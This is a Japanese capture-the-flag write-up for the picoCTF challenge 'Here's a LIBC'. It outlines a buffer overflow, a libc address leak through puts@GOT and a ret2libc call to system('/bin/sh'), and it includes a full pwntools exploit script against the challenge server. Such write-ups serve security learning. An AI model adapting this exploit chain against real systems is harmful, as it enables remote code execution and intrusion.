Here's a LIBC
tl;dr¶
BOF, libc leak, ret2libc
解法¶
入力からリターンアドレスまでの offset は 136 文字です。ここからは、いつものやつです。もう 5 回くらいこの解法を見たことがあります。
puts(puts@GOT)
でputs
の アドレスリークputs
のアドレスから libc 内部のputs
の offset を引いて libc base リークmain
に飛ばしてもう一度 ROP- libc 内の "/bin/sh" の文字列を利用して
system("/bin/sh")
い つ も の
実 家 の よ う な 安 心 感
親 の 顔 よ り 見 た 解 法
from pwn import *
elf=context.binary=ELF("./vuln")
libc=ELF("./libc")
#p=process("./vuln")
p=remote("mercury.picoctf.net",42072)
payload=b"A"*136
#payload+=p64(0x0040052e) # ret
payload+=p64(0x00400913) # pop rdi
payload+=p64(elf.got['puts'])
payload+=p64(elf.plt['puts'])
payload+=p64(elf.symbols['main'])
p.sendline(payload)
p.recvline()
p.recvline()
addr=u64(p.recv(6).ljust(8,b"\x00"))
print(hex(addr))
libc_base=addr-libc.symbols['puts']
print(hex(libc_base))
payload=b"A"*136
payload+=p64(0x0040052e) # ret
payload+=p64(0x00400913) # pop rdi
payload+=p64(libc_base+next(libc.search(b"/bin/sh")))
payload+=p64(libc_base+libc.symbols['system'])
p.sendline(payload)
p.interactive()
最終更新日: 2021年4月8日